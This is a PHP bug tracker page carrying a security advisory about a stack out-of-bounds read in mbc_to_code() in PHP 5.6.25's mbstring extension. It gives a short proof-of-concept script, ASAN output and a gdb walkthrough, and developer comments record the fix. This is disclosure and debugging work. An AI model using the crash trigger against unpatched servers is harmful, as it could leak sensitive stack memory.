php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72994 mbc_to_code() out of bounds read
Submitted: 2016-09-01 13:43 UTC Modified: 2016-09-04 14:31 UTC
From: research at sensepost dot com Assigned: cmb (profile)
Status: Closed Package: mbstring related
PHP Version: 5.6.25 OS: Ubuntu 14.04.4 LTS x64
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: research at sensepost dot com
New email:
PHP Version: OS:

 

 [2016-09-01 13:43 UTC] research at sensepost dot com
Description:
------------
---[SPSA-20YY-{##}/PHP]------------------------------


SECURITY ADVISORY:   SPSA-2016-{##}/PHP

Affected Software:   PHP 5.6.25
Vulnerability:       Out of Bounds Read
CVSSv3:              5.6
Severity:            Medium
Release Date:        2016-09-XX
	 

I. Background
~~~~~~~~~~~~~	   	

The mbc_to_code() used in mbstring extension is susceptible to a stack-based 
out-of-bounds read vulnerability.



II. Description
~~~~~~~~~~~~~~~

The following test case when run on an ASAN 5.6.x build of PHP produces the following error:

<?php
$var1 = mbereg_replace($var-232338951,NULL,NULL,NULL);
var_dump($var1);
?>


==28849==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe96d960a2 at pc 0x00000061e732 bp 0x7ffe96d95770 sp 0x7ffe96d95768
READ of size 1 at 0x7ffe96d960a2 thread T0
    #0 0x61e731 in mbc_to_code /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:105
    #1 0x603bd8 in fetch_token /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:3146
    #2 0x61284d in parse_regexp /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5514
    #3 0x612cb4 in onig_parse_make_tree /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5543
    #4 0x5d8f3e in onig_compile /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5300
    #5 0x5d9f46 in onig_new /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5545
    #6 0x6b49b9 in php_mbregex_compile_pattern /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:458
    #7 0x6b78eb in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:870
    #8 0x6bacb6 in zif_mb_ereg_replace /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:1028
    #9 0xb321d4 in zend_do_fcall_common_helper_SPEC /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:558
    #10 0xb449af in ZEND_DO_FCALL_SPEC_CONST_HANDLER /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:2602
    #11 0xb30495 in execute_ex /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:363
    #12 0xb305de in zend_execute /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:388
    #13 0xa7e9e1 in zend_execute_scripts /home/symeon/Desktop/php-5.6.25/Zend/zend.c:1341
    #14 0x91951c in php_execute_script /home/symeon/Desktop/php-5.6.25/main/main.c:2613
    #15 0xc9119b in do_cli /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:994
    #16 0xc9341f in main /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:1378
    #17 0x7f47551d872f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2072f)
    #18 0x419e08 in _start (/home/symeon/Desktop/php-5.6.25/sapi/cli/php+0x419e08)

Address 0x7ffe96d960a2 is located in stack of thread T0 at offset 34 in frame
    #0 0x6b6cac in _php_mb_regex_ereg_replace_exec /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:788

  This frame has 18 object(s):
    [32, 34) 'pat_buf' <== Memory access at offset 34 overflows this variable
    [96, 100) 'replace_len'
    [160, 164) 'string_len'
    [224, 228) 'eval'
    [288, 292) 'option_str_len'
    [352, 360) 'args'
    [416, 424) 'arg_pattern_zval'
    [480, 488) 'replace'
    [544, 552) 'string'
    [608, 616) 'syntax'
    [672, 680) 'retval_ptr'
    [736, 744) 'subpats'
    [800, 824) 'out_buf'
    [864, 888) 'eval_buf'
    [928, 952) 'v'
    [992, 1032) 'arg_replace_fci_cache'
    [1088, 1160) 'arg_replace_fci'
    [1216, 1306) 'err_str'

Starting with the analysis on file ext/mbstring/php_mbregex.c line 814 a 
two bytes char array (pat_buf) is declared:

    --- cut ---
   812      OnigUChar *string_lim;
   813      char *description = NULL;
   814      char pat_buf[2];
    --- cut ---

Setting the following breakpoints and running the PoC under the dubugger gives the following output:

gdb-peda$ b utf8.c:104
Breakpoint 1 at 0x61e6f0: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 104.

gdb-peda$ b php_mbregex.c:863
Breakpoint 2 at 0x6b77f7: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c, line 863.

gdb-peda$ b utf8.c:99
Breakpoint 3 at 0x61e667: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c, line 99.

gdb-peda$ r ~/Desktop/php-asan_stack_oob_mbc_to_code.php 
Starting program: /home/symeon/Desktop/php-5.6.25/sapi/cli/php ~/Desktop/php-asan_stack_oob_mbc_to_code.php
[Thread debugging using libthread_db enabled]

Breakpoint 2, _php_mb_regex_ereg_replace_exec (ht=0x4, return_value=0x7ffff7f5c388, return_value_ptr=0x7ffff7f21a28, this_ptr=0x0, 
    return_value_used=0x1, options=0x0, is_callable=0x0) at /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:863
863         pat_buf[0] = (char)Z_LVAL_PP(arg_pattern_zval);

gdb-peda$ n

864         pat_buf[1] = '\0';
gdb-peda$ n

866         arg_pattern = pat_buf;

gdb-peda$ print *pat_buf
$1 = 0xf9

The pat_buf[0] is the result of the Z_LVAL_PP(arg_pattern_zval) function which is 0xf9.

gdb-peda$ x/8wx pat_buf
0x7fffffff9f00: 0xffff00f9  0x00007fff  0xfffff3ee  0x00000fff
0x7fffffff9f10: 0xffff9f70  0x00007fff  0xffffa600  0x00007fff


gdb-peda$ print pat_buf[0]
$3 = 0xf9
gdb-peda$ print pat_buf[1]
$4 = 0x0


Continuing  with the execution on file ext/mbstring/oniguruma/enc/utf8.c the length is 
going to be calculated and then the following loop is going to be executed:

    --- cut ---
    99    len = enclen(ONIG_ENCODING_UTF8, p);
   100    c = *p++;
   101    if (len > 1) {
   102      len--;
   103      n = c & ((1 << (6 - len)) - 1);
   104      while (len--) {
   105        c = *p++;
   106        n = (n << 6) | (c & ((1 << 6) - 1));
   107      }
   108      return n;
   109    }
    --- cut ---

gdb-peda$ c
Continuing.

Breakpoint 3, mbc_to_code (p=0x7fffffff9f00 <incomplete sequence \371>, end=0x7fffffff9f01 "")
    at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:99
99    len = enclen(ONIG_ENCODING_UTF8, p);

gdb-peda$ n

100   c = *p++;
gdb-peda$ p/d len
$5 = 5

As seen above the len was incorrectly calculated. Stepping out four times, 
we enter into another loop on line 104.

gdb-peda$ n

101   if (len > 1) {
gdb-peda$ n

102     len–;
gdb-peda$ n

103     n = c & ((1 << (6 – len)) – 1);
gdb-peda$ n

Breakpoint 1, mbc_to_code (p=0x7fffffff9f01 "", end=0x7fffffff9f01 "") at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:104
104     while (len--) {
gdb-peda$ p/d len
$6 = 4

On the following executions we are going to assign the 'c' variable to the 'p' pointer
and stepping into the loop two times we end up with the following:

104     while (len--) {
gdb-peda$ n

105       c = *p++;

This time 'c' is going to be assigned with the 'p' and at this phase we started reading beyond that buffer:

gdb-peda$ print c
$7 = 0x0
gdb-peda$ print *p
$8 = 0xff
gdb-peda$ print p
$9 = (const OnigUChar *) 0x7fffffff9f02 "\377\377\377\177"

The next iteration will assign the value 0xff to the 'c' variable and thus start leaking
other variables from the stack.

Continuing the execution the out-of-bounds ASAN error kicks in:

gdb-peda$ n

=================================================================
==8169==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9f02 at pc 0x00000061e732 bp 0x7fffffff95d0 sp 0x7fffffff95c8
READ of size 1 at 0x7fffffff9f02 thread T0
--- cut ---
==8169==ABORTING
[Inferior 1 (process 8169) exited with code 01]


III. Impact
~~~~~~~~~~~
An attacker who successfully exploited the vulnerability could start leaking other stack variables
and may allow access to sensitive memory.



IV. Disclosure
~~~~~~~~~~~~~

Reported By: Symeon Paraschoudis

Discovery Date:         2016-08-26
Vendor Informed:        2016-09-01
Advisory Release Date:  2016-09-XX
Patch Release Date:     2016-09-XX
Advisory Updated:       2016-09-XX
 

---------------------------------[SPSA 2016-##/PHP]---



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-02 05:02 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-04 14:31 UTC] cmb@php.net
-Status: Open +Status: Analyzed -Assigned To: +Assigned To: cmb
 [2016-09-04 14:31 UTC] cmb@php.net
Basically this is a duplicate of bug #72405, which has been fixed
as of PHP 7.0.9 only. I'm going to backport the fix to PHP 5.6.
 [2016-09-04 14:58 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7259b71b430ed733441261f7cf1282f04bb80f1
Log: Fix #72994: mbc_to_code() out of bounds read
 [2016-09-04 14:58 UTC] cmb@php.net
-Status: Analyzed +Status: Closed
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7259b71b430ed733441261f7cf1282f04bb80f1
Log: Fix #72994: mbc_to_code() out of bounds read
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC